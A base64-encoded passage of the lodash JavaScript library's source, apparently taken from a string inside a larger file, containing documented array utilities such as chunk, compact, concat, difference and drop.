V0dXJucyB7QXJyYXl9IGRldGFpbHMgVGhlIGRldGFpbHMgdG8gbW9kaWZ5LlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBiaXRtYXNrIFRoZSBiaXRtYXNrIGZsYWdzLiBTZWUgYGNyZWF0ZVdyYXBgIGZvciBtb3JlIGRldGFpbHMuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIGBkZXRhaWxzYC5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB1cGRhdGVXcmFwRGV0YWlscyhkZXRhaWxzLCBiaXRtYXNrKSB7XG4gICAgICBhcnJheUVhY2god3JhcEZsYWdzLCBmdW5jdGlvbihwYWlyKSB7XG4gICAgICAgIHZhciB2YWx1ZSA9ICdfLicgKyBwYWlyWzBdO1xuICAgICAgICBpZiAoKGJpdG1hc2sgJiBwYWlyWzFdKSAmJiAhYXJyYXlJbmNsdWRlcyhkZXRhaWxzLCB2YWx1ZSkpIHtcbiAgICAgICAgICBkZXRhaWxzLnB1c2godmFsdWUpO1xuICAgICAgICB9XG4gICAgICB9KTtcbiAgICAgIHJldHVybiBkZXRhaWxzLnNvcnQoKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgY2xvbmUgb2YgYHdyYXBwZXJgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gd3JhcHBlciBUaGUgd3JhcHBlciB0byBjbG9uZS5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBjbG9uZWQgd3JhcHBlci5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB3cmFwcGVyQ2xvbmUod3JhcHBlcikge1xuICAgICAgaWYgKHdyYXBwZXIgaW5zdGFuY2VvZiBMYXp5V3JhcHBlcikge1xuICAgICAgICByZXR1cm4gd3JhcHBlci5jbG9uZSgpO1xuICAgICAgfVxuICAgICAgdmFyIHJlc3VsdCA9IG5ldyBMb2Rhc2hXcmFwcGVyKHdyYXBwZXIuX193cmFwcGVkX18sIHdyYXBwZXIuX19jaGFpbl9fKTtcbiAgICAgIHJlc3VsdC5fX2FjdGlvbnNfXyA9IGNvcHlBcnJheSh3cmFwcGVyLl9fYWN0aW9uc19fKTtcbiAgICAgIHJlc3VsdC5fX2luZGV4X18gID0gd3JhcHBlci5fX2luZGV4X187XG4gICAgICByZXN1bHQuX192YWx1ZXNfXyA9IHdyYXBwZXIuX192YWx1ZXNfXztcbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qL1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiBlbGVtZW50cyBzcGxpdCBpbnRvIGdyb3VwcyB0aGUgbGVuZ3RoIG9mIGBzaXplYC5cbiAgICAgKiBJZiBgYXJyYXlgIGNhbid0IGJlIHNwbGl0IGV2ZW5seSwgdGhlIGZpbmFsIGNodW5rIHdpbGwgYmUgdGhlIHJlbWFpbmluZ1xuICAgICAqIGVsZW1lbnRzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIHByb2Nlc3MuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtzaXplPTFdIFRoZSBsZW5ndGggb2YgZWFjaCBjaHVua1xuICAgICAqIEBwYXJhbS0ge09iamVjdH0gW2d1YXJkXSBFbmFibGVzIHVzZSBhcyBhbiBpdGVyYXRlZSBmb3IgbWV0aG9kcyBsaWtlIGBfLm1hcGAuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2YgY2h1bmtzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmNodW5rKFsnYScsICdiJywgJ2MnLCAnZCddLCAyKTtcbiAgICAgKiAvLyA9PiBbWydhJywgJ2InXSwgWydjJywgJ2QnXV1cbiAgICAgKlxuICAgICAqIF8uY2h1bmsoWydhJywgJ2InLCAnYycsICdkJ10sIDMpO1xuICAgICAqIC8vID0+IFtbJ2EnLCAnYicsICdjJ10sIFsnZCddXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNodW5rKGFycmF5LCBzaXplLCBndWFyZCkge1xuICAgICAgaWYgKChndWFyZCA/IGlzSXRlcmF0ZWVDYWxsKGFycmF5LCBzaXplLCBndWFyZCkgOiBzaXplID09PSB1bmRlZmluZWQpKSB7XG4gICAgICAgIHNpemUgPSAxO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgc2l6ZSA9IG5hdGl2ZU1heCh0b0ludGVnZXIoc2l6ZSksIDApO1xuICAgICAgfVxuICAgICAgdmFyIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoO1xuICAgICAgaWYgKCFsZW5ndGggfHwgc2l6ZSA8IDEpIHtcbiAgICAgICAgcmV0dXJuIFtdO1xuICAgICAgfVxuICAgICAgdmFyIGluZGV4ID0gMCxcbiAgICAgICAgICByZXNJbmRleCA9IDAsXG4gICAgICAgICAgcmVzdWx0ID0gQXJyYXkobmF0aXZlQ2VpbChsZW5ndGggLyBzaXplKSk7XG5cbiAgICAgIHdoaWxlIChpbmRleCA8IGxlbmd0aCkge1xuICAgICAgICByZXN1bHRbcmVzSW5kZXgrK10gPSBiYXNlU2xpY2UoYXJyYXksIGluZGV4LCAoaW5kZXggKz0gc2l6ZSkpO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGFuIGFycmF5IHdpdGggYWxsIGZhbHNleSB2YWx1ZXMgcmVtb3ZlZC4gVGhlIHZhbHVlcyBgZmFsc2VgLCBgbnVsbGAsXG4gICAgICogYDBgLCBgXCJcImAsIGB1bmRlZmluZWRgLCBhbmQgYE5hTmAgYXJlIGZhbHNleS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBjb21wYWN0LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IGFycmF5IG9mIGZpbHRlcmVkIHZhbHVlcy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5jb21wYWN0KFswLCAxLCBmYWxzZSwgMiwgJycsIDNdKTtcbiAgICAgKiAvLyA9PiBbMSwgMiwgM11cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjb21wYWN0KGFycmF5KSB7XG4gICAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgICBsZW5ndGggPSBhcnJheSA9PSBudWxsID8gMCA6IGFycmF5Lmxlbmd0aCxcbiAgICAgICAgICByZXNJbmRleCA9IDAsXG4gICAgICAgICAgcmVzdWx0ID0gW107XG5cbiAgICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICAgIHZhciB2YWx1ZSA9IGFycmF5W2luZGV4XTtcbiAgICAgICAgaWYgKHZhbHVlKSB7XG4gICAgICAgICAgcmVzdWx0W3Jlc0luZGV4KytdID0gdmFsdWU7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIG5ldyBhcnJheSBjb25jYXRlbmF0aW5nIGBhcnJheWAgd2l0aCBhbnkgYWRkaXRpb25hbCBhcnJheXNcbiAgICAgKiBhbmQvb3IgdmFsdWVzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGNvbmNhdGVuYXRlLlxuICAgICAqIEBwYXJhbSB7Li4uKn0gW3ZhbHVlc10gVGhlIHZhbHVlcyB0byBjb25jYXRlbmF0ZS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBjb25jYXRlbmF0ZWQgYXJyYXkuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBhcnJheSA9IFsxXTtcbiAgICAgKiB2YXIgb3RoZXIgPSBfLmNvbmNhdChhcnJheSwgMiwgWzNdLCBbWzRdXSk7XG4gICAgICpcbiAgICAgKiBjb25zb2xlLmxvZyhvdGhlcik7XG4gICAgICogLy8gPT4gWzEsIDIsIDMsIFs0XV1cbiAgICAgKlxuICAgICAqIGNvbnNvbGUubG9nKGFycmF5KTtcbiAgICAgKiAvLyA9PiBbMV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjb25jYXQoKSB7XG4gICAgICB2YXIgbGVuZ3RoID0gYXJndW1lbnRzLmxlbmd0aDtcbiAgICAgIGlmICghbGVuZ3RoKSB7XG4gICAgICAgIHJldHVybiBbXTtcbiAgICAgIH1cbiAgICAgIHZhciBhcmdzID0gQXJyYXkobGVuZ3RoIC0gMSksXG4gICAgICAgICAgYXJyYXkgPSBhcmd1bWVudHNbMF0sXG4gICAgICAgICAgaW5kZXggPSBsZW5ndGg7XG5cbiAgICAgIHdoaWxlIChpbmRleC0tKSB7XG4gICAgICAgIGFyZ3NbaW5kZXggLSAxXSA9IGFyZ3VtZW50c1tpbmRleF07XG4gICAgICB9XG4gICAgICByZXR1cm4gYXJyYXlQdXNoKGlzQXJyYXkoYXJyYXkpID8gY29weUFycmF5KGFycmF5KSA6IFthcnJheV0sIGJhc2VGbGF0dGVuKGFyZ3MsIDEpKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGFuIGFycmF5IG9mIGBhcnJheWAgdmFsdWVzIG5vdCBpbmNsdWRlZCBpbiB0aGUgb3RoZXIgZ2l2ZW4gYXJyYXlzXG4gICAgICogdXNpbmcgW2BTYW1lVmFsdWVaZXJvYF0oaHR0cDovL2VjbWEtaW50ZXJuYXRpb25hbC5vcmcvZWNtYS0yNjIvNy4wLyNzZWMtc2FtZXZhbHVlemVybylcbiAgICAgKiBmb3IgZXF1YWxpdHkgY29tcGFyaXNvbnMuIFRoZSBvcmRlciBhbmQgcmVmZXJlbmNlcyBvZiByZXN1bHQgdmFsdWVzIGFyZVxuICAgICAqIGRldGVybWluZWQgYnkgdGhlIGZpcnN0IGFycmF5LlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFVubGlrZSBgXy5wdWxsQWxsYCwgdGhpcyBtZXRob2QgcmV0dXJucyBhIG5ldyBhcnJheS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7Li4uQXJyYXl9IFt2YWx1ZXNdIFRoZSB2YWx1ZXMgdG8gZXhjbHVkZS5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBhcnJheSBvZiBmaWx0ZXJlZCB2YWx1ZXMuXG4gICAgICogQHNlZSBfLndpdGhvdXQsIF8ueG9yXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uZGlmZmVyZW5jZShbMiwgMV0sIFsyLCAzXSk7XG4gICAgICogLy8gPT4gWzFdXG4gICAgICovXG4gICAgdmFyIGRpZmZlcmVuY2UgPSBiYXNlUmVzdChmdW5jdGlvbihhcnJheSwgdmFsdWVzKSB7XG4gICAgICByZXR1cm4gaXNBcnJheUxpa2VPYmplY3QoYXJyYXkpXG4gICAgICAgID8gYmFzZURpZmZlcmVuY2UoYXJyYXksIGJhc2VGbGF0dGVuKHZhbHVlcywgMSwgaXNBcnJheUxpa2VPYmplY3QsIHRydWUpKVxuICAgICAgICA6IFtdO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5kaWZmZXJlbmNlYCBleGNlcHQgdGhhdCBpdCBhY2NlcHRzIGBpdGVyYXRlZWAgd2hpY2hcbiAgICAgKiBpcyBpbnZva2VkIGZvciBlYWNoIGVsZW1lbnQgb2YgYGFycmF5YCBhbmQgYHZhbHVlc2AgdG8gZ2VuZXJhdGUgdGhlIGNyaXRlcmlvblxuICAgICAqIGJ5IHdoaWNoIHRoZXkncmUgY29tcGFyZWQuIFRoZSBvcmRlciBhbmQgcmVmZXJlbmNlcyBvZiByZXN1bHQgdmFsdWVzIGFyZVxuICAgICAqIGRldGVybWluZWQgYnkgdGhlIGZpcnN0IGFycmF5LiBUaGUgaXRlcmF0ZWUgaXMgaW52b2tlZCB3aXRoIG9uZSBhcmd1bWVudDpcbiAgICAgKiAodmFsdWUpLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFVubGlrZSBgXy5wdWxsQWxsQnlgLCB0aGlzIG1ldGhvZCByZXR1cm5zIGEgbmV3IGFycmF5LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHsuLi5BcnJheX0gW3ZhbHVlc10gVGhlIHZhbHVlcyB0byBleGNsdWRlLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtpdGVyYXRlZT1fLmlkZW50aXR5XSBUaGUgaXRlcmF0ZWUgaW52b2tlZCBwZXIgZWxlbWVudC5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBhcnJheSBvZiBmaWx0ZXJlZCB2YWx1ZXMuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uZGlmZmVyZW5jZUJ5KFsyLjEsIDEuMl0sIFsyLjMsIDMuNF0sIE1hdGguZmxvb3IpO1xuICAgICAqIC8vID0+IFsxLjJdXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ucHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLmRpZmZlcmVuY2VCeShbeyAneCc6IDIgfSwgeyAneCc6IDEgfV0sIFt7ICd4JzogMSB9XSwgJ3gnKTtcbiAgICAgKiAvLyA9PiBbeyAneCc6IDIgfV1cbiAgICAgKi9cbiAgICB2YXIgZGlmZmVyZW5jZUJ5ID0gYmFzZVJlc3QoZnVuY3Rpb24oYXJyYXksIHZhbHVlcykge1xuICAgICAgdmFyIGl0ZXJhdGVlID0gbGFzdCh2YWx1ZXMpO1xuICAgICAgaWYgKGlzQXJyYXlMaWtlT2JqZWN0KGl0ZXJhdGVlKSkge1xuICAgICAgICBpdGVyYXRlZSA9IHVuZGVmaW5lZDtcbiAgICAgIH1cbiAgICAgIHJldHVybiBpc0FycmF5TGlrZU9iamVjdChhcnJheSlcbiAgICAgICAgPyBiYXNlRGlmZmVyZW5jZShhcnJheSwgYmFzZUZsYXR0ZW4odmFsdWVzLCAxLCBpc0FycmF5TGlrZU9iamVjdCwgdHJ1ZSksIGdldEl0ZXJhdGVlKGl0ZXJhdGVlLCAyKSlcbiAgICAgICAgOiBbXTtcbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uZGlmZmVyZW5jZWAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBgY29tcGFyYXRvcmBcbiAgICAgKiB3aGljaCBpcyBpbnZva2VkIHRvIGNvbXBhcmUgZWxlbWVudHMgb2YgYGFycmF5YCB0byBgdmFsdWVzYC4gVGhlIG9yZGVyIGFuZFxuICAgICAqIHJlZmVyZW5jZXMgb2YgcmVzdWx0IHZhbHVlcyBhcmUgZGV0ZXJtaW5lZCBieSB0aGUgZmlyc3QgYXJyYXkuIFRoZSBjb21wYXJhdG9yXG4gICAgICogaXMgaW52b2tlZCB3aXRoIHR3byBhcmd1bWVudHM6IChhcnJWYWwsIG90aFZhbCkuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVW5saWtlIGBfLnB1bGxBbGxXaXRoYCwgdGhpcyBtZXRob2QgcmV0dXJucyBhIG5ldyBhcnJheS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7Li4uQXJyYXl9IFt2YWx1ZXNdIFRoZSB2YWx1ZXMgdG8gZXhjbHVkZS5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbY29tcGFyYXRvcl0gVGhlIGNvbXBhcmF0b3IgaW52b2tlZCBwZXIgZWxlbWVudC5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBhcnJheSBvZiBmaWx0ZXJlZCB2YWx1ZXMuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3RzID0gW3sgJ3gnOiAxLCAneSc6IDIgfSwgeyAneCc6IDIsICd5JzogMSB9XTtcbiAgICAgKlxuICAgICAqIF8uZGlmZmVyZW5jZVdpdGgob2JqZWN0cywgW3sgJ3gnOiAxLCAneSc6IDIgfV0sIF8uaXNFcXVhbCk7XG4gICAgICogLy8gPT4gW3sgJ3gnOiAyLCAneSc6IDEgfV1cbiAgICAgKi9cbiAgICB2YXIgZGlmZmVyZW5jZVdpdGggPSBiYXNlUmVzdChmdW5jdGlvbihhcnJheSwgdmFsdWVzKSB7XG4gICAgICB2YXIgY29tcGFyYXRvciA9IGxhc3QodmFsdWVzKTtcbiAgICAgIGlmIChpc0FycmF5TGlrZU9iamVjdChjb21wYXJhdG9yKSkge1xuICAgICAgICBjb21wYXJhdG9yID0gdW5kZWZpbmVkO1xuICAgICAgfVxuICAgICAgcmV0dXJuIGlzQXJyYXlMaWtlT2JqZWN0KGFycmF5KVxuICAgICAgICA/IGJhc2VEaWZmZXJlbmNlKGFycmF5LCBiYXNlRmxhdHRlbih2YWx1ZXMsIDEsIGlzQXJyYXlMaWtlT2JqZWN0LCB0cnVlKSwgdW5kZWZpbmVkLCBjb21wYXJhdG9yKVxuICAgICAgICA6IFtdO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIHNsaWNlIG9mIGBhcnJheWAgd2l0aCBgbmAgZWxlbWVudHMgZHJvcHBlZCBmcm9tIHRoZSBiZWdpbm5pbmcuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC41LjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtuPTFdIFRoZSBudW1iZXIgb2YgZWxlbWVudHMgdG8gZHJvcC5cbiAgICAgKiBAcGFyYW0tIHtPYmplY3R9IFtndWFyZF0gRW5hYmxlcyB1c2UgYXMgYW4gaXRlcmF0ZWUgZm9yIG1ldGhvZHMgbGlrZSBgXy5tYXBgLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgc2xpY2Ugb2YgYGFycmF5YC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5kcm9wKFsxLCAyLCAzXSk7XG4gICAgICogLy8gPT4gWzIsIDNdXG4gICAgICpcbiAgICAgKiBfLmRyb3AoWzEsIDIsIDNdLCAyKTtcbiAgICAgKiAvLyA9PiBbM11cbiAgICAgKlxuICAgICAqIF8uZHJvcChbMSwgMiwgM10sIDUpO1xuICAgICAqIC8vID0+IFtdXG4gICAgICpcbiAgICAgKiBfLmRyb3AoWzEsIDIsIDNdLCAwKTtcbiAgICAgKiAvLyA9PiBbMSwgMiwgM11cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBkcm9wKGFycmF5LCBuLCBndWFyZCkge1xuICAgICAgdmFyIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoO1xuICAgICAgaWYgKCFsZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIFtdO1xuICAgICAgfVxuICAgICAgbiA9IChndWFyZCB8fCBuID09PSB1bmRlZmluZWQpID8gMSA6IHRvSW50ZWdlcihuKTtcbiAgICAgIHJldHVybiBiYXNlU2xpY2UoYXJyYXksIG4gPCAwID8gMCA6IG4sIGxlbmd0aCk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIHNsaWNlIG9mIGBhcnJheWAgd2l0aCBgbmAgZWxlbWVudHMgZHJvcHBlZCBmcm9tIHRoZSBlbmQuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtuPTFdIFRoZSBudW1iZXIgb2YgZWxlbWVudHMgdG8gZHJvcC5cbiAgICAgKiBAcGFyYW0tIHtPYmplY3R9IFtndWFyZF0gRW5hYmxlcyB1c2UgYXMgYW4gaXRlcmF0ZWUgZm9yIG1ldGhvZHMgbGlrZSBgXy5tYXBgLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgc2xpY2Ugb2YgYGFycmF5YC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5kcm9wUmlnaHQoWzEsIDIsIDNdKTtcbiAgICAgKiAvLyA9PiBbMSwgMl1cbiAgICAgKlxuICAgICAqIF8uZHJvcFJpZ2h0KFsxLCAyLCAzXSwgMik7XG4gICAgICogLy8gPT4gWzFdXG4gICAgICpcbiAgICAgKiBfLmRyb3BSaWdodChbMSwgMiwgM10sIDUpO1xuICAgICAqIC8vID0+IFtdXG4gICAgICpcbiAgICAgKiBfLmRyb3BSaWdodChbMSwgMiwgM10sIDApO1xuICAgICAqIC8vID0+IFsxLCAyLCAzXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGRyb3BSaWdodChhcnJheSwgbiwgZ3VhcmQpIHtcbiAgICAgIHZhciBsZW5ndGggPSBhcnJheSA9PSBudWxsID8gMCA6IGFycmF5Lmxlbmd0aDtcbiAgICAgIGlmICghbGVuZ3RoKSB7XG4gICAgICAgIHJldHVybiBbXTtcbiAgICAgIH1cbiAgICAgIG4gPSAoZ3VhcmQgfHwgbiA9PT0gdW5kZWZpbmVkKSA/IDEgOiB0b0ludGVnZXIobik7XG4gICAgICBuID0gbGVuZ3RoIC0gbjtcbiAgICAgIHJldHVybiBiYXNlU2xpY2UoYXJyYXksIDAsIG4gPCAwID8gMCA6IG4pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBzbGljZSBvZiBgYXJyYXlgIGV4Y2x1ZGluZyBlbGVtZW50cyBkcm9wcGVkIGZyb20gdGhlIGVuZC5cbiAgICAgKiBFbGVtZW50cyBhcmUgZHJvcHBlZCB1bnRpbCBgcHJlZGljYXRlYCByZXR1cm5zIGZhbHNleS4gVGhlIHByZWRpY2F0ZSBpc1xuICAgICAqIGludm9rZWQgd2l0aCB0aHJlZSBhcmd1bWVudHM6ICh2YWx1ZSwgaW5kZXgsIGFycmF5KS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBxdWVyeS5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbcHJlZGljYXRlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBzbGljZSBvZiBgYXJyYXlgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgdXNlcnMgPSBbXG4gICAgICogICB7ICd1c2VyJzogJ2Jhcm5leScsICAnYWN0aXZlJzogdHJ1ZSB9LFxuICAgICAqICAgeyAndXNlcic6ICdmcmVkJywgICAgJ2FjdGl2ZSc6IGZhbHNlIH0sXG4gICAgICogICB7ICd1c2VyJzogJ3BlYmJsZXMnLCAnYWN0aXZlJzogZmFsc2UgfVxuICAgICAqIF07XG4gICAgICpcbiAgICAgKiBfLmRyb3BSaWdodFdoaWxlKHVzZXJzLCBmdW5jdGlvbihvKSB7IHJldHVybiAhby5hY3RpdmU7IH0pO1xuICAgICAqIC8vID0+IG9iamVjdHMgZm9yIFsnYmFybmV5J11cbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5tYXRjaGVzYCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5kcm9wUmlnaHRXaGlsZSh1c2VycywgeyAndXNlcic6ICdwZWJibGVzJywgJ2FjdGl2ZSc6IGZhbHNlIH0pO1xuICAgICAqIC8vID0+IG9iamVjdHMgZm9yIFsnYmFybmV5JywgJ2ZyZWQnXVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLm1hdGNoZXNQcm9wZXJ0eWAgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8uZHJvcFJpZ2h0V2hpbGUodXNlcnMsIFsnYWN0aXZlJywgZmFsc2VdKTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbJ2Jhcm5leSddXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ucHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLmRyb3BSaWdodFdoaWxlKHVzZXJzLCAnYWN0aXZlJyk7XG4gICAgICogLy8gPT4gb2JqZWN0cyBmb3IgWydiYXJuZXknLCAnZnJlZCcsICdwZWJibGVzJ11cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBkcm9wUmlnaHRXaGlsZShhcnJheSwgcHJlZGljYXRlKSB7XG4gICAgICByZXR1cm4gKGFycmF5ICYmIGFycmF5Lmxlbmd0aClcbiAgICAgICAgPyBiYXNlV2hpbGUoYXJyYXksIGdldEl0ZXJhdGVlKHByZWRpY2F0ZSwgMyksIHRydWUsIHRydWUpXG4gICAgICAgIDogW107XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIHNsaWNlIG9mIGBhcnJheWAgZXhjbHVkaW5nIGVsZW1lbnRzIGRyb3BwZWQgZnJvbSB0aGUgYmVnaW5uaW5nLlxuICAgICAqIEVsZW1lbnRzIGFyZSBkcm9wcGVkIHVudGlsIGBwcmVkaWNhdGVgIHJldHVybnMgZmFsc2V5LiBUaGUgcHJlZGljYXRlIGlzXG4gICAgICogaW52b2tlZCB3aXRoIHRocmVlIGFyZ3VtZW50czogKHZhbHVlLCBpbmRleCwgYXJyYXkpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIHF1ZXJ5LlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtwcmVkaWNhdGU9Xy5pZGVudGl0eV0gVGhlIGZ1bmN0aW9uIGludm9rZWQgcGVyIGl0ZXJhdGlvbi5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIHNsaWNlIG9mIGBhcnJheWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciB1c2VycyA9IFtcbiAgICAgKiAgIHsgJ3VzZXInOiAnYmFybmV5JywgICdhY3RpdmUnOiBmYWxzZSB9LFxuICAgICAqICAgeyAndXNlcic6ICdmcmVkJywgICAgJ2FjdGl2ZSc6IGZhbHNlIH0sXG4gICAgICogICB7ICd1c2VyJzogJ3BlYmJsZXMnLCAnYWN0aXZlJzogdHJ1ZSB9XG4gICAgICogXTtcbiAgICAgKlxuICAgICAqIF8uZHJvcFdoaWxlKHVzZ